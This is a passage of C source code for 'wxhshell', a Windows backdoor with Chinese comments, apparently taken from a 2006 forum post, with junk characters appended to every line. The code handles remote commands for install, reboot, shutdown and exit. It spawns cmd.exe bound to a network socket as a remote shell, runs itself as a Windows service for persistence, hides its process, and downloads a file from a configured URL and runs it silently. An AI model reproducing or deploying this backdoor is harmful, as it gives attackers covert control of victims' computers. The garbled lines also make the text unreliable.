  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7aU*7!U  
  } fNlUc  
  else { }LE/{]A  
eH6#'M4+\  
    switch(cmd[0]) { vu*08<M~i|  
  K3@UoR  
  // 帮助 3W27R  
  case '?': { $QY(7Z"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t<`BaU  
    break; irL ehPX9  
  } GCIm_ n  
  // 安装 PmTA3aH  
  case 'i': { &K\di*kN  
    if(Install()) B,A/ -B\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C f<,\Aav  
    else muY4:F.C(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dui<$jl0b  
    break; .E@yB`AR  
    } l~\'Z2op   
  // 卸载 UZdpKi@  
  case 'r': { <7)@Jds\  
    if(Uninstall()) Q#vur o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gE%-Pf~  
    else '\\J95*`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '|6j1i0x  
    break; {Ynr(J.  
    } K.1#cf ^'  
  // 显示 wxhshell 所在路径 {o;J'yjre1  
  case 'p': { -\r*D#aHBN  
    char svExeFile[MAX_PATH]; 7?F0~[eGG  
    strcpy(svExeFile,"\n\r"); ./[t'dgC  
      strcat(svExeFile,ExeFile);  /y1,w JI  
        send(wsh,svExeFile,strlen(svExeFile),0); ;Cv x48  
    break; m'a3}vRV(  
    } k%.IIVRx  
  // 重启 &"25a[x{B  
  case 'b': { i8EMjLBUR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rs<UWk<q  
    if(Boot(REBOOT)) >7 4'g }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :xv"m {8+  
    else { (?$}Vp  
    closesocket(wsh); z}kD:A)a  
    ExitThread(0); L0Xb^vx}m  
    } 3d \bB !  
    break; F2lTDuk>C  
    } 8/]5h%  
  // 关机 k;q|pQ[  
  case 'd': { 8 \%*4L'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v=@Z,-  
    if(Boot(SHUTDOWN)) <Ms,0YKx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qm8[ ^jO&  
    else { >P/.X^G0  
    closesocket(wsh); U^:+J-z{  
    ExitThread(0); ^!?W!k!:V  
    } UoBmS 5  
    break; 1Hk`i%  
    } I6zKvP8pb  
  // 获取shell %Q]m6ciAM  
  case 's': { D&:,,Dp  
    CmdShell(wsh); 0c /xE<h  
    closesocket(wsh); 1s/t}J~zZ  
    ExitThread(0); A^*0{F?,)  
    break; %h(J+_"L6  
  } X\V1c$13CK  
  // 退出 w+z~Mz}Vz  
  case 'x': { 2E;UHR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QS\H[?M$  
    CloseIt(wsh); lN -vFna  
    break; dXg.[|S*  
    } qwoF4_VN  
  // 离开 |W:xbtPNy  
  case 'q': { { ZrIA+eH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XE6sFU  
    closesocket(wsh); f#FAi3  
    WSACleanup(); Mj2`p#5wKh  
    exit(1); :6:;Z qn  
    break; e5W 8YNA  
        } 4"at~K` Q  
  } o'+p,_y9Y@  
  } #{-B`FAQ  
Wl\.*^`k  
  // 提示信息 `bY>f_5+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .!/w[Z]  
} $F2 A  
  } +-"uJIwMD  
vgKZr  
  return; lC|`DG-B  
} 3)cH\gsg9  
pL 2P .  
// shell模块句柄 UNY O P{  
int CmdShell(SOCKET sock) v'=$K[_  
{ [ *P~\' U  
STARTUPINFO si; ?V&# nA  
ZeroMemory(&si,sizeof(si)); w>S;}[fM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )d(F]uV:y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @@uKOFA?  
PROCESS_INFORMATION ProcessInfo; O2N7qV3 U,  
char cmdline[]="cmd"; X/Sp!W-H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]WFr5  
  return 0; =^ZDP1h/}  
} S@4p.NMU  
? $$Xg3w_#  
// 自身启动模式 7C / ^ Gw  
int StartFromService(void) pz4lC=H%o  
{ FT8<a }o  
typedef struct -<0xS.^  
{ {gT4Oq__  
  DWORD ExitStatus; tEuVn5  
  DWORD PebBaseAddress; wHuz~y6  
  DWORD AffinityMask; S/,)X  
  DWORD BasePriority; 3R>"X c  
  ULONG UniqueProcessId; 2^w8J w9  
  ULONG InheritedFromUniqueProcessId; @js`$  
}   PROCESS_BASIC_INFORMATION; z"%{SI^  
N++ ;}j  
PROCNTQSIP NtQueryInformationProcess; u7nTk'#r  
:@@aIFRv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S\M+*:7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |1%eo.  
Se}&2 R  
  HANDLE             hProcess; YQ|o0>  
  PROCESS_BASIC_INFORMATION pbi; w<LV5w+  
J.(mg D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZHM NG~!  
  if(NULL == hInst ) return 0; ;:  xE'-  
Nr"gj$v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7I/a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1<G,0Lt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S'(IG m4  
hG2WxYk  
  if (!NtQueryInformationProcess) return 0; J?Bj=b  
Nt,:`o |  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v%muno,  
  if(!hProcess) return 0; oH(a*i  
SuA  @S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q_6v3no1  
 G){A&F  
  CloseHandle(hProcess); ':|E$@$W  
$sFqMy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8I~*9MUp  
if(hProcess==NULL) return 0; ~^/BAc  
R8>17w.  
HMODULE hMod; LfvNO/:,  
char procName[255]; emHaZhh  
unsigned long cbNeeded; e7yn"kd  
siOyp ]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A;TNR  
F?Fxm*Wa/  
  CloseHandle(hProcess); *XI- nH  
6?'; ip  
if(strstr(procName,"services")) return 1; // 以服务启动 I@kMM12>c  
19bqz )  
  return 0; // 注册表启动 62o nMY  
} r*c x_**  
xB_7 8X1  
// 主模块 -n:;/ere7-  
int StartWxhshell(LPSTR lpCmdLine) WM0-F@_  
{ WtlLqD!_D  
  SOCKET wsl; h^f?rWD:nz  
BOOL val=TRUE; zUA -  
  int port=0; &<Fw  
  struct sockaddr_in door; CN6b 982&  
*iUR1V Y  
  if(wscfg.ws_autoins) Install(); ft$ 'UJ% j  
#.2} t0*]5  
port=atoi(lpCmdLine); h$d`Jmaq  
z J V>;  
if(port<=0) port=wscfg.ws_port; BO>[\!=y  
6n^vG/.M  
  WSADATA data; UAds$ 9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \/!jGy*  
KkSv2 3In  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S Q`KR'E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nc?Oj B  
  door.sin_family = AF_INET; yW;]J8 7*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iwfH~  
  door.sin_port = htons(port); [ z{ }?  
Sr-!-eC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !Xzy:  
closesocket(wsl); Qv@)WJ="-0  
return 1; +2m\Sv V  
} .c@,$z2M  
mSp;(oQ  
  if(listen(wsl,2) == INVALID_SOCKET) { |Gt]V`4  
closesocket(wsl); m$bNQ7  
return 1; \7q>4[  
} wTn"  
  Wxhshell(wsl); 8cbgP$X  
  WSACleanup(); F"a31`L>H  
?r R, h{~  
return 0; G:;(,  
_'P!>C!  
} A w)P%r  
:2MHx}]il  
// 以NT服务方式启动 !qJ|`o Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r%II` i  
{ !{4bC  
DWORD   status = 0; I< Rai"  
  DWORD   specificError = 0xfffffff; X-5&c$hv  
$c24lJ#/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fYgX|#Me  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XLFo"f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vLh,dzuo  
  serviceStatus.dwWin32ExitCode     = 0; G `JXi/#`  
  serviceStatus.dwServiceSpecificExitCode = 0; k&3'[&$I*,  
  serviceStatus.dwCheckPoint       = 0; a\v@^4   
  serviceStatus.dwWaitHint       = 0; :_+Fe,h>|  
&;oWmmvz{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #zw 'H9l  
  if (hServiceStatusHandle==0) return; 6Er%td)f  
3gY4h*|`<  
status = GetLastError(); <@:LONe<  
  if (status!=NO_ERROR) {;ur~KE  
{ j?P8&Fm<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]0)=0pc]E  
    serviceStatus.dwCheckPoint       = 0; w7X], auRC  
    serviceStatus.dwWaitHint       = 0; B$%7U><'  
    serviceStatus.dwWin32ExitCode     = status; w1P8p>vA1  
    serviceStatus.dwServiceSpecificExitCode = specificError; i:,37INMt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *27*&&=)H  
    return; 6GtXM3qtS  
  } Kly`V]XE  
~85Pgb<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3re|=_ Hy  
  serviceStatus.dwCheckPoint       = 0; bol#[_~  
  serviceStatus.dwWaitHint       = 0; N>4uqFo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *,d>(\&[f  
} 6v}WdK  
#v`J]I)$  
// 处理NT服务事件,比如:启动、停止 b ZEyP W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GwaU7[6  
{ |,Xrt8O/[  
switch(fdwControl) `CQMvX{  
{ ?H_'L4Wv  
case SERVICE_CONTROL_STOP: h_Cac@F0  
  serviceStatus.dwWin32ExitCode = 0; pC'GKk 8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D#n^U `\if  
  serviceStatus.dwCheckPoint   = 0; s`:-6{E  
  serviceStatus.dwWaitHint     = 0; 0cm+:  
  { ` 'y[i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |_J[n !~f7  
  } .<C}/Cl  
  return; )m Uc !TP  
case SERVICE_CONTROL_PAUSE: #c ndq[H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $G5;y>  
  break; G.} 3hd0  
case SERVICE_CONTROL_CONTINUE: JS<4%@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,Si23S\  
  break; jWd 7>1R?  
case SERVICE_CONTROL_INTERROGATE: '<C I^5^  
  break; wcT0XXh  
}; :+SpZ>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `_6!nk q8  
} u8Au `  
Ta38/v;S  
// 标准应用程序主函数 uwl;(zwh_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bX:ARe O  
{ >~5>)yN_a1  
U. 1Vpfy  
// 获取操作系统版本 8S>T1st  
OsIsNt=GetOsVer(); f-?00*T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i[~oMwc&  
i`^`^Ka  
  // 从命令行安装 rZDlPp>BPZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); #KonVM(`  
mACj>0Z'  
  // 下载执行文件 Y) >GwFK$  
if(wscfg.ws_downexe) { )j40hrR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `um#}ify#  
  WinExec(wscfg.ws_filenam,SW_HIDE); VN[h0+n4Th  
} fmvX;0O  
L[d 7@  
if(!OsIsNt) { ;(Q4x"?I  
// 如果时win9x,隐藏进程并且设置为注册表启动 'Pudy\Ab  
HideProc(); 9d4PH  
StartWxhshell(lpCmdLine); Zi=Nr3b  
} A-O@e e  
else kL,{H~iq;  
  if(StartFromService()) q@ >s#  
  // 以服务方式启动 CUT D]:\  
  StartServiceCtrlDispatcher(DispatchTable); Gw*n,*pz  
else nJ#uz:(w,  
  // 普通方式启动 /a\6&Eb  
  StartWxhshell(lpCmdLine); qWf7k+7G  
_](vt,|L  
return 0; yVm~5Y&Z  
}
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只看该作者 1 发表于: 2006-10-10
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